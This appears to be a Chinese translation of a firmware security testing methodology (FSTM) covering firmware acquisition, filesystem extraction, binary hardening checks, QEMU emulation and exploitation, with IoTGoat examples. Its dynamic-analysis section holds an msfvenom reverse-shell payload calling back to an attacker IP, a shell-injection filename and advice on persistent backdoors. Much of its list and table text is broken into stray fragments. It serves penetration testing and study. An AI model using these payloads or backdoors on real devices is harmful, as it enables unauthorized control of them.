固件安全评估,英文名称 firmware security testing methodology 简称 FSTM。该指导方法主要是为了安全研究人员、软件开发人员、顾问、爱好者和信息安全专业人员进行固件安全评估。
前景
======
我们基于 FSTM 进行测试流程如下:
id
阶段
描述
1
信息收集
固件的相关技术文档的详细使用说明
2
获取固件
使用本文中介绍的多种办法获取固件
3
分析固件
固件的功能、特性
4
提取文件系统
从固件中获取文件系统
5
分析文件系统内容
静态分析提取的文件系统的配置文件和二进制文件中的漏洞
6
仿真固件
模拟固件文件和组件
7
动态分析
根据固件和应用程序接口进行动态测试
8
运行时分析
在设备运行时分析编译的二进制文件
9
二进制利用
利用上述手段发现的漏洞实现命令执行
0x01:信息搜集
=============
可搜集与固件相关如下基础信息:
搜集方法:
OSINT:Open source intelligence
)技术手段来获取数据在搜集信息中遇到开源软件的处理方式:
U-Boot Coverity Scan
U-Boot Coverity Scan Analysis
LGTM Dropbear Alerts
LGTM Dropbear Results
获取如上信息后便可进行粗略的威胁建模:标识出可攻击功能点和影响范围,方便测试时进行漏洞点的贯穿使用。
0x02:获取固件
=============
Dropbox
、box
、Google drive
)根据二进制文件扩展名获取 MITM
)获取AWS
,全称Amazon Web Services S3 buckets
)下载构建版本UART
、JTAG
、PICit
等直接从硬件中提取0x03:分析固件
=============
获取固件后需要分析其特征信息:固件文件类型、潜在的根文件元数据、编译基于的平台,使用 binutils
分析过程如下:
file
strings
strings -n5
binwalk
hexdump -C -n 512
hexdump -C
若使用上述方法未提取出有用信息,可能由于以下原因:
Bare Metal
RTOS
)平台判断二进制文件是否是加密:
binwalk -E <bin>
,判断其熵 binvis
) 0x04:提取文件系统
===============
为了分析固件内部相关文件系统数据、未编译代码和设备配置,需使用以下手动和自动方法提取固件文件系统:
偏移量和文件系统大小信息获取:
"hsqs"
字符串,hexdump -C binary | grep -i 'hsqs'
unsquashfs
查看整个文件系统binwalk
binwalk -ev <bin>
,提取出的文件保存:_binaryname/filesystemtype/
;
若是文件的标头没有魔术字节 ,需使用 binwalk
查找文件系统的偏移量,然后从二进制文件中分割压缩的文件系统,最后再手动提取出来。
分割
dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs # or
dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
提取
For squashfs:
unsquashfs dir.squashfs
CPIO archive files:
cpio -ivd --no-absolute-filenames -F <bin>
For jffs2 filesystems:
jefferson rootfsfile.jffs2
For ubifs filesystems with NAND flash:
ubireader\_extract\_images -u UBI -s <start\_offset> <bin>、ubidump.py <bin>
0x05:分析文件系统内容
=================
静态分析文件系统可从如下方面入手:
同时,此过程中分析的结果,可为动态分析做基础准备。
firmwalker
分析内容范围如下:
自动固件分析工具:firmwalker
,Aaron Guzman
在原生代码基础上添加了一些其他的检查,可参照 firmwalker。
案例:在 OWASP IOTGoat 中使用 firewalker分析
firmwalk
分析文件系统需使用绝对路径:
./firmwalker.sh /home/embedos/firmware/_IoTGoat-rpi-2.img.extracted/squashfs-root/
分析结果如下:
分析结果存储在 /data/
目录下的两个文件:firmwalker.txt
和 firmwalkerappsec.txt
,需手动检查这些文件。
FACT 固件分析比较工具包分析内容如下:
案例:在EmbedOS 中使用FACT分析
cd ~/tools/FACT_core
sudo ./start_all_installed_fact_components
浏览器访问:http://127.0.0.1:5000 ,
FACT Dashboard
将固件上传到FACT进行分析(可以将带有文件系统的完整固件)
FACT Upload
根据给FACT硬件资源,扫描时间会相应不同
FACT IoTGoat
FACT分析结果
FACT IoTGoat Exploit Mitigation Results
IDA Pro
、Ghidra
、Hopper
、Capstone
或 binary Ninja
进行分析。 Shellback Ghidra Analysis
二进制文件选取及分析内容:可以选择从 FACT
获取的可疑内容,或针对漏洞利用点进行查找分析,如:
system()
或类似函数调用等。分析二进制文件的常见功能点
是否启用 Stack canaries
(堆栈保护机制)
readelf -aW bin/*| grep stack_chk_fail
mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
是否启用 Position-independent executable (PIE)
地址无关可执行文件
PIE disabled
readelf -h
PIE enabled
readelf -h
DSO(dynamic shared object)动态共享目标文件
readelf -d
Symbols 动态链接库和符号
readelf --syms
nm
可识别的字符串
是否启用 Non-executable (NX) (应该是一种数据保护 DEP)
readelf -lW bin/
判断堆栈是否可执行,E
代表可执行:GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
execstack bin/*
bin/ash
bin/busybox
RELRO ( RELocation Read-Only,只读重定位)(一种用于加强对二进制数据段的保护技术)配置
完整 RELRO
readelf -d binary | grep BIND_NOW
部分 RELRO
readelf -d binary | grep GNU_RELRO
自动检查上述二进制属性的脚本 checksec.sh,如下示例:
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Checksec.sh
对于 Microsoft 二进制文件(EXE、DLL),使用 PESecurity 检查 ASLR
, DEP
, SafeSEH
, StrongNaming
, Authenticode
, Control Flow Guard
和 HighEntropyVA
。
0x06:仿真固件
=============
为了确定及验证上面的详细信息、线索、潜在的漏洞,必需模拟固件及其封装的二进制文件。
如下列出仿真固件的方法:
部分仿真(user mode
)—仿真从固件提取的文件系统中的二进制文件:/usr/bin/shellback
完整的系统仿真—完整的固件仿真和利用伪造的NVRAM
启动配置
由于硬件或体系结构的依赖性,user mode
或 system mode
可能无法仿真固件成功。在这种情况下,可以将根文件系统或特定二进制文件传输到与目标固件的架构和字节序匹配的物理设备中进行测试,除了物理设备外,也可以使用与目标固件相同体系结构或字节序的预构件虚拟机。
获取目标的 CPU 架构和字节序,然后选择适当的 QEMU 仿真二进制文件
CPU 架构获取:
binwalk -Y
readelf -h
el
代表: little endian
,eb
代表:big endian
字节序的获取:
使用 binwalk 识别打包的固件二进制文件(不是提取出的文件系统中的二进制文件)
binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
确定了 CPU 的体系结构和字节序后,找适用的 QEMU 二进制文件来执行部分仿真(从文件系统中提取出的二进制文件)
QEMU 二进制文件通常所在目录:/usr/local/qemu-arch
或/usr/bin/qemu-arch
将 QEMU 二进制文件复制到提取的文件系统的根目录中
cd /home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
cp /usr/bin/qemu-arm-static .
执行 ARM 二进制文件(或其他的体系结构)使用 QEMU 和 chroot 进行仿真
sudo chroot . ./qemu-arch
Example:
sudo chroot . ./qemu-arm-static bin/busybox ls
sudo chroot . ./qemu-arm-static usr/bin/shellback
使用 netcat 尝试连接该服务
sudo lsof -i :5515
nc -nv 127.0.0.1 5515
sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI=
通过上述手段模拟了目标二进制文件,可以使用其应用程序和网络接口,与其进行交互。
使用自动化工具来进行固件的完整仿真
自动化工具:firmadyne
、固件分析工具包、ARM-X 固件仿真框架,这些工具实质上是 QEMU 和其他环境功能 (如:nvram )的包装器。
需注意:固件中包含不常见的压缩文件系统或不支持的体系结构,可能需要修改这些工具
0x07:动态分析
=============
设备在正常运行或者在仿真环境中运行中的动态测试,此阶段的测试可能会由于项目和访问级别有所差异。
分析手段:
检查方向:
修改设备的引导加载程序时,可以进行如下操作:
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:
#saveenv
#boot
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
FILENAME
为 a";/bin/sh;#
,来测试设备启动过程的输入验证尝试上传自定义固件或编译过的二进制文件,来检测完整性或签名验证漏洞。
可设置后门点:启动脚本引用、某些链接、依赖不受信任的安装位置(如:SD 卡)或用位于根文件系统外部存储数据的 flash 的代码时触发。
使用以下步骤编译在启动中的后门 shell :
FMK:firmware-tool-kit
)提取固件/usr/bin
中若在动态分析后,通过操纵引导加载程序或其他的硬件安全测试手段获得了root shell,尝试执行预编译恶意二进制文件(即在二进制文件中植入程序或反向 shell),可通过使用自动化的有效载荷或工具( C&C )框架进行命令执行和控制,比如使用 Metasploit 框架和 msfvenom
,如下是操作步骤:
msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
wget/curl
上传到目标文件系统中),确认有效载荷有执行权限set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z
最后,尽可能的在启动脚本中设置对设备持久访问的后门,保证重新启动后也有设备的访问控制权
0x08:运行时分析
==============
设备在正常运行或在仿真环境中运行时,对正在运行的进程或二进制文件进行调试。如下是分析步骤:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
memcpy
, strncpy
, strcmp
,等一些可能使用的工具:
0x09:漏洞利用
=============
通过上面阶段的测试识别出漏洞之后,需使用PoC在真实环境中进行验证。编写漏洞利用代码需要掌握低级语言(如:ASM、C/C++、shellcode 等)的编程及了解一些目标体系结构(如:MIPS、ARM、x86等)。
在遇到二进制缓解(保护)机制(eg:NX、DEP、ASLR等)时,需要其他技术进行恶意攻击,比如:
相关方面知识可参考文档:
固件和二进制文件分析工具
================
用于练习的固件项目
=============
来源:https://scriptingxss.gitbook.io/firmware-security-testing-methodology/v/zhong-wen-fstm/
手机扫一扫
移动阅读更方便
你可能感兴趣的文章